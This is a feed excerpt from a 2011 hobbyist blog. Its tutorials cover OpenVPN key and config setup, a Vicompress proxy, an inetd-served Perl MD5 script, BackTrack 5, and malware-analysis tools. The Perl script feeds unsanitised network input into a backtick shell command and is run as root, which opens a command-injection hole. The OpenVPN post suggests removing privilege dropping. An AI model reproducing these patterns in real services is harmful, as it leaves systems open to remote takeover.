/etc/openvpn/easy-rsa/2.0&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Modify the "vars" file. The variables that you want to modify are at the bottom of the file. These include KEY_COUNTRY, KEY_PROVINCE etc.&lt;/li&gt;&lt;li&gt;After modifying the vars file, issue this command on the file. &lt;span style="color: rgb(51, 255, 51);"&gt;# source ./vars&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Clean up older keys.&lt;span style="color: rgb(51, 255, 51);"&gt; # ./clean-all&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Create CA key and certificate. &lt;span style="color: rgb(51, 255, 51);"&gt;# ./build-ca&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Create the openvpn server's certifcate and key.&lt;span style="color: rgb(51, 255, 51);"&gt; # ./build-key-server openvpn_server&lt;/span&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Create client keys and certificates.&lt;span style="color: rgb(51, 255, 51);"&gt; # ./build-key client1&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Create dh key. &lt;span style="color: rgb(51, 255, 51);"&gt;# ./build-dh&lt;/span&gt;  &lt;span style="color: rgb(255, 102, 0);"&gt;# this can take a 2-4 mins to create. Move your mouse around an be patient :)&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Goto keys directory. &lt;span style="color: rgb(51, 255, 51);"&gt;# cd keys&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Copy the dh1024.pem, ca.crt, openvpn_server.crt and the openvpn_server.key files to /etc/openvpn/ directory&lt;/li&gt;&lt;li&gt;Lets create our server config file:&lt;/li&gt;&lt;/ol&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;tls-server  &lt;span style="color: rgb(255, 102, 0);"&gt;# this would be the server in tls mode&lt;/span&gt;&lt;br /&gt;proto udp&lt;/span&gt;   &lt;span style="color: rgb(255, 102, 0);"&gt;# protocol to use. Either tcp or udp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;port 1194   &lt;span style="color: rgb(255, 102, 0);"&gt;# port num&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;dev tun   &lt;span style="color: rgb(255, 102, 0);"&gt;# can be either tun or tap. Tun is simpler to sertup&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;ifconfig 10.0.0.1 10.0.0.2 &lt;/span&gt;  &lt;span style="color: rgb(255, 102, 0);"&gt;# The 10.0.0.1 is the desired IP for our server's virtual interface&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);"&gt; and the other is the peer&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;ca /etc/openvpn/ca.crt&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;cert /etc/openvpn/openvpn_server.crt&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;key etc/openvpn/openvpn_server.key&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;dh &lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;etc/openvpn/dh1024.pem&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;&lt;br /&gt;cipher AES-128-CBC  &lt;span style="color: rgb(255, 102, 0);"&gt;# encryption cipher to use&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;user nobody   &lt;span style="color: rgb(255, 102, 0);"&gt;# drop priveledges to this user&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;group nobody&lt;/span&gt; &lt;span style="color: rgb(255, 102, 0);"&gt; # same as above&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;verb 3&lt;/span&gt;   &lt;span style="color: rgb(255, 102, 0);"&gt;# logging level&lt;/span&gt;&lt;/blockquote&gt;Client setup:&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Copy the ca.crt, client1.crt and the client1.key files to the client&lt;/li&gt;&lt;li&gt;Create its config file:&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;tls-client   &lt;span style="color: rgb(255, 102, 0);"&gt;# this would act as client in tls mode&lt;/span&gt;&lt;br /&gt;remote 192.168.0.5   &lt;span style="color: rgb(255, 102, 0);"&gt;# VPN's server's real ip&lt;/span&gt;&lt;br /&gt;proto udp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;port 1194&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;dev tun&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;ifconfig 10.0.0.&lt;span style="color: rgb(255, 102, 0);"&gt;2&lt;/span&gt; 10.0.0.&lt;span style="color: rgb(255, 102, 0);"&gt;1&lt;/span&gt;  &lt;/span&gt;   &lt;span style="color: rgb(255, 102, 0);"&gt;# notice the change here&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;ca &lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;/home/user/.openvpn&lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;/ca.crt&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;cert &lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;/home/user/.openvpn&lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;/client1.crt&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;key &lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;/home/user/.openvpn&lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;/client.key&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;cipher AES-128-CBC&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;user nobody&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;group nobody&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;verb 3&lt;/span&gt;&lt;/blockquote&gt;Again, starting the server and client take the same commands but you must have root  privileges. Once you are root, you can start the server and client like  so: # openvpn --config /etc/openvpn/openvpn.conf&lt;br /&gt;&lt;br /&gt;Once the connection is established both the server and client terminal windows should give some details similar to this:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center; color: rgb(255, 102, 0);"&gt;Sat May 28 20:53:16 2011 Initialization Sequence Completed&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;To test your VPN connection, you can use the ping utility and ping each node.&lt;br /&gt;&lt;br /&gt;Extra:&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;/span&gt;If you want revoke client keys:&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;# ./revoke-full client1&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;This would add client1 to a sort of black list that would not allow them to connect to our VPN anymore. The file that houses this black list is crl.pem. Create a hardlink (ln without the -s option)to this file in the /etc/openvpn/ directory.&lt;br /&gt;&lt;br /&gt;You would also need to add this line to the configuration file on the server. This causes the server to check its revocation list whenever clients try to establish a connection to the VPN server.&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;br /&gt;&lt;br /&gt;crl-verify /etc/openvpn/crl.pem&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;I noticed that when a revoked client tried to connect to the vpn, not only were they denied service, the VPN server was also shutting down.  It seems like the when openvpn shuts the connection down, it tries to reinitialize its tun interface, but fails to do so because in our config file, we dropped our priveledges to nobody. This issue is quickly resolved by commenting out or deleting the lines with the parameters&lt;span style="color: rgb(255, 102, 0);"&gt; user &lt;/span&gt;and &lt;span style="color: rgb(255, 102, 0);"&gt;group &lt;/span&gt;on the server config file.&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Resources/Good Reading:&lt;br /&gt;&lt;a href="http://openmaniak.com/openvpn_tutorial.php"&gt;http://openmaniak.com/openvpn_tutorial.php&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.adamsinfo.com/quick-linux-and-windows-openvpn-howto-and-tutorial-including-vpn-routing/"&gt;http://www.adamsinfo.com/quick-linux-and-windows-openvpn-howto-and-tutorial-including-vpn-routing/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;&lt;/h3&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-979940972442953180?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/979940972442953180/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2011/05/openvpn-configs-made-easy.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/979940972442953180'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/979940972442953180'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2011/05/openvpn-configs-made-easy.html' title='OpenVPN configs made easy'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-4981513451641370175</id><published>2011-05-23T15:41:00.000-07:00</published><updated>2011-05-23T18:20:56.029-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Vicompress'/><title type='text'>Vicompress: http proxy server</title><content type='html'>Vicompress is an http proxy server, with the ability to cache requests in memory. It has a small footprint but because of its ability to cache contents in memory, it can eventually use up tons of memory resources. It has decent log statistics capabilities too and outputs to an html formatted page. Most important to me, setup and configuration is quite simple.&lt;br /&gt;&lt;br /&gt;Installation:&lt;br /&gt;&lt;br /&gt;1 . Download the installation package from &lt;a href="http://www.visolve.com/vicompress/vicompress.html#Download"&gt;visolve&lt;/a&gt; website. In my case, i downloaded the .deb version of the package.&lt;br /&gt;&lt;br /&gt;2. To install i used the command: &lt;span style="color: rgb(51, 255, 51);"&gt;# dpkg -i &lt;package-name&gt;&lt;/package-name&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;package-name&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Configuration:&lt;br /&gt;&lt;br /&gt;For details on all configuration parameters, go &lt;a href="http://www.visolve.com/vicompress/vicompress.html#Configuring"&gt;here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The default configuration would do just fine, but its useful to learn of its parameters&lt;br /&gt;Here is a snapshot of my vicompress.conf configuration file:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;listen 0.0.0.0 8080 &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;outgoingip 0.0.0.0 &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;enable_compression yes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;enable_caching yes &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;cache_memory 200 &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;max_cacheditem_size 10000 &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;cache_expires 2 &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;enable_dns_caching yes &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;dns_expires 2 &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;user nobody &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;rotatesize 10 &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;logformat squid &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;enable_debug no &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;accesslog  /usr/local/vicompress/log/accesslog&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;errorlog   /usr/local/vicompress/log/errorlog &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;errorpage  /usr/local/vicompress/etc/errorpage.html &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;logstats   /usr/local/vicompress/logstats &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To start the server: &lt;span style="color: rgb(51, 255, 51);"&gt;# /usr/local/vicompress/bin/vicompress.sh start&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To view the statistics of your proxy server, usually a report gets generated every hour. You can speed this process by issueing this command:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# cd /usr/local/vicompress&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# ./bin/update_log_stats /log/accesslog logstats&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To view the report issue:  &lt;span style="color: rgb(51, 255, 51);"&gt;# firefox /usr/local/vicompress/logstats/statsindex.html&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Resources / Goodreading:&lt;br /&gt;&lt;a href="http://www.visolve.com/"&gt;visolve&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-4981513451641370175?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/4981513451641370175/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2011/05/vicompress-http-proxy-server.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/4981513451641370175'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/4981513451641370175'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2011/05/vicompress-http-proxy-server.html' title='Vicompress: http proxy server'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-6254787793130979192</id><published>2011-05-14T05:24:00.000-07:00</published><updated>2011-05-14T05:49:31.485-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='inetd'/><title type='text'>Inetd and perl</title><content type='html'>Just a quick simple trick that you can help you set up servers quick and easy. You don't have to know alot about programming either but it helps to know what Inetd is in linux.&lt;br /&gt;&lt;br /&gt;Inetd, on its manpages is known as a internet superserver. All those big words aside, it can basically listen on a given port for you and when a connection comes in, it calls the appropriate application to handle them. It so turns out that you can use Inetd's sockets for network communication instead of programming your own. What that means is that inetd can listen on port 80, and when a connection comes in on that port, we can run a shell script that simply sends back some text or html tags. Inetd's output is piped to the calling program or script's standard input and that program's output is redirected to Inetd's standard input.&lt;br /&gt;&lt;br /&gt;Lets quickly demonstrate this with a bash script.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;#!/bin/bash&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;echo "Hello World"&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Now save that script to a file called hello.sh and give the file executable permissions.&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# chmod 555 hello.sh&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now configure /etc/inetd.conf as follows&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;http-alt   stream   tcp4   nowait   root   /root/hello.sh&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Now save the file.&lt;br /&gt;&lt;br /&gt;Run the inetd daemon&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# /etc/init.d/inetutils-inetd start&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;now netcat to port 8080 (which is what http-alt) service is and you should revecieve a response:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;root@bt~#&lt;/span&gt;:&lt;span style="color: rgb(51, 255, 51);"&gt; nc 127.0.0.1 8080&lt;/span&gt;&lt;br /&gt;Hello World&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;root@bt~#&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;All should work well if done right. Now to get a lil bit more fancy, i've put together a perl script that takes an input and returns the MD5 hash of that input (an MD5 hashing service if you will).&lt;br /&gt;&lt;blockquote style="color: rgb(255, 102, 0);"&gt;#!/usr/bin/perl -w&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# A simple inetd socket server.&lt;br /&gt;&lt;br /&gt;use strict;&lt;br /&gt;&lt;br /&gt;my $old_fh = select(STDOUT);&lt;br /&gt;$| = 1;&lt;br /&gt;select($old_fh);&lt;br /&gt;print "++ MD5 pass generator ++\n\n";&lt;br /&gt;print "Type \'exit\' at anytime to quit\n";&lt;br /&gt;print "Enter string to be hashed: ";&lt;br /&gt;&lt;br /&gt;while( my $line = &lt;stdin&gt; )&lt;br /&gt;{&lt;br /&gt;   $line =~ s/\r?\n$//;&lt;br /&gt;   #chomp($line);&lt;br /&gt;   if ($line =~ /^exit$/)&lt;br /&gt;   {&lt;br /&gt;   die "shutting down\n";&lt;br /&gt;   }&lt;br /&gt;# do your processing here!&lt;br /&gt;   $line = `echo -n $line | openssl md5`;&lt;br /&gt;   print "$line\n";&lt;br /&gt;   print "Enter string to be hashed: ";&lt;br /&gt;}&lt;/stdin&gt;&lt;/blockquote&gt;Save the perl script to a file like md5.pl and chmod 555 your file.&lt;br /&gt;Start the inetd daemon as shown above and use netcat to connect to the service :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-6254787793130979192?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/6254787793130979192/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2011/05/inetd-and-perl.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/6254787793130979192'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/6254787793130979192'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2011/05/inetd-and-perl.html' title='Inetd and perl'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-6456051005961438025</id><published>2011-05-14T05:17:00.000-07:00</published><updated>2011-05-14T05:24:13.789-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Backtrack 5'/><title type='text'>Backtrack 5 is out</title><content type='html'>Backtrack 5 is out folks. Head on over to the &lt;a href="http://www.backtrack-linux.org/"&gt;backtrack&lt;/a&gt; website to get yourself a copy of this well put together masterpiece. There are 32 and 64 bit versions available now, as well as the classic KDE styled version and a new GNOME version, which put you in an Ubuntu like environment. I've decided to go with the Gnome version, as im use to Ubuntu and it was refreshing to use something other than the classic desktop environment. All versions should have the same tools and capabilities so its all a matter of preference.&lt;br /&gt;&lt;br /&gt;What are you waiting for? Get your copy &lt;a href="http://www.backtrack-linux.org/"&gt;here&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-6456051005961438025?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/6456051005961438025/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2011/05/backtrack-5-is-out.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/6456051005961438025'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/6456051005961438025'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2011/05/backtrack-5-is-out.html' title='Backtrack 5 is out'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-3213272792387524202</id><published>2011-04-13T06:04:00.000-07:00</published><updated>2011-04-13T13:05:28.107-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='malware analysis'/><title type='text'>Usefull malware analysis tools</title><content type='html'>Was reading some articles from an e-magazine @ haking9.org involving basic malware analysis techniques. Why would anyone (the average person) want to do this? Maybe some people just have alot of time on their hands or like me, just want to know how everything works. It is very important for anti-virus vendors to do malware analysis in order to produce signatures to identify the malware throughout scans. If you got some time on your hands, i suggest that you drop by &lt;a href="http://hakin9.org/"&gt;hakin9.org&lt;/a&gt; and check out some of the articles including the ones relating to malware analysis.&lt;br /&gt;&lt;br /&gt;Tools:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;Regshot:&lt;/span&gt; This tool, as it names says, takes a snapshot of the regisrty. It basically gives you a baseline of what the registry looks like at that point in time. Given that baseline, you can then execute the suspicious executable, then take another registry snapshot. You are then able to compare both snapshots using regshot's compare feature to find out what keys have been added, modified or deleted. It has the option of outputing its results in a text file or a nicely formated HTML file.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;Regmon:&lt;/span&gt; Like regshot, regmon is registry utility that operates in a slightly different manner. It has the ability to give real time analysis of what keys (and their location) currently running processes are accessing. It lets you know whether the process is querying information, creating  new keys, setting values, etc. Just before you execute the malware, you can have regmon running in the background capturing its information. When the program has been executed, you can stop regmon's capture and perform your analysis. You would notice that while regmon was capturing data, it not only captured information for the malware process you are investigation, but also other processes as well that were recently accessing the registry. Thankfully, there is a nice filter feature that allows you to filter the captured data based on the process name. Although the filter is very limited, it is still beneficial to have. You can also look into another tool called procmon, who is the current successor of the tools regmon and filemon. It has the same capabilities of regmon and many more options. However, regmon still has its place and is simple to use and learn.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;Filemon:&lt;/span&gt; This tool works in a similar fascion to regmon, but with files. It monitors processes that access files on the disk and log their actions(read, write, query, delete,etc) and whether they were successful or not. Like regmon, just before you execute the malware, you can have filemon running in the background capturing its information. When the target program has been executed, you can stop filemon's capture and perform your analysis.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;Wireshark and Netcat:&lt;/span&gt; It is known that some malware tend to want to replicate themselves over the network. Some may try to covertly download software or try to log onto some IRC channel to query its commands (google: botnet). These tools are coded to work covertly, so while you're sitting at your desktop, you would not see any indication that anything is going on. Wireshark can help us understand the why, where, what, when and who questions. Why is the malware connecting out to port 4444; where is the malware trying to connect to; when or at what intervals does the malware initiate any type of network traffic; what is the malware trying to do or accomplish; who is involved (source IPs, mac addresses, domains etc.). Netcat can be set up to intercept this traffic in a proxy mode and also be used to interact/respond to services and requests.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;Netstat and tasklist&lt;/span&gt;: Before analyzing any piece of malware, having a baseline is very vital. You are gonna need to have an idea of what the system looked like before and after the malware was run. Running netstat and tasklist before running the executable can give us a baseline of what network sessions are open and ports that are listening etc. while the tasklist command utility can give us a list of currently running processes. Tools that you can be use as well are sysinternal's process explorer and tcpview.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;Debugger, Ollydbg&lt;/span&gt;: To really get in depth with exactly what the executable is doing, you will have to use a debbuger to step through the system opcodes and system calls. Using a debugger is not easy for most and can take a little bit of getting use to. However, to be good at malware analysis, you cannont escape not learning how to use a debugger like IDA pro or in my case, Ollydbg.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;Virtual environment&lt;/span&gt;: To avoid potentially infecting your main system and possibly breaking your Windows OS, you will definitly want to perform most, if not all, your analysis in a virtual environment. Virtual machines also provides us with a mechanism to roll back a host to a snapshot of a system at an earlier time. This allows us to restore the state of a system to a point just before an event occured (say the malware caused the OS to no longer start up) withing minutes. There are quite a few options avaialble for virtualization but i myself use the Virtualbox technology. Remeber to check out the system requirements of these technologies before installing to your old pentium three laptop with 256 ram.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;PE tools:&lt;/span&gt; Sometimes malware may be packed by common packer tools, like UPX. The benifit of using a packer on an EXE file is that it can allow for the compression of the executable. However, by doing so, the original exe's form is thus changed. Eventually, what you get is an exe within an exe. The outer layer exe will be the packers decompression code that decompresses the internal exe in memory and then executes it. The additional benifit of this is that it can make debugging of this packed executable a pain in the but. In order to properly debug the functionality of the packed executable, it must first be decompressed in order to be analyzed. Tools like PeID can help us identify a packed executable's packer. By knowing this, we can potentially in some cases use the same packer to unpack the executable back to its original form. Another PE tool that i use is Lordpe, which allows for the modifying of the PE headers of binary executables.&lt;br /&gt;&lt;br /&gt;These are just some tools that can be utilized in malware analysis process. I encourage you to do your own research and look up the malware analysis articles in the hakin9.org website. The articles are available in PDF format and is a little bit difficult to directly link to :(&lt;br /&gt;&lt;br /&gt;Resources/Good Reading:&lt;br /&gt;&lt;a href="http://hakin9.org/"&gt;hakin9&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-3213272792387524202?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/3213272792387524202/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2011/04/usefull-malware-analysis-tools.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/3213272792387524202'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/3213272792387524202'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2011/04/usefull-malware-analysis-tools.html' title='Usefull malware analysis tools'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-589134280084370251</id><published>2011-03-23T06:27:00.000-07:00</published><updated>2011-03-23T13:10:56.430-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PE structure'/><title type='text'>Windows and its PE file structure</title><content type='html'>I'll start this post of by asking a question; WTF is a PE file? A PE file is something we use on a day to day basis when we use our computer systems. The files that have the ".exe" and ".dll" extensions are what we refer to as PE (Portable executable) files. A PE file contains one of the most complex file structures that i've ever seen and its very important to understand most, if not all of it if you want to be modify the binary file or become a reverse-engineer. Becasue there are so many structures, i can't go through them all (i don't even understand 50% of them) but i will try to focus on the most common ones.&lt;br /&gt;&lt;br /&gt;For a visual of what the structure looks like, goto google images and search "PE file format".&lt;br /&gt;Here is one that i found and usually reference: &lt;a href="http://uglyhunk.in/apps/PE_Format.png"&gt;link&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;span style="text-decoration: underline;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" 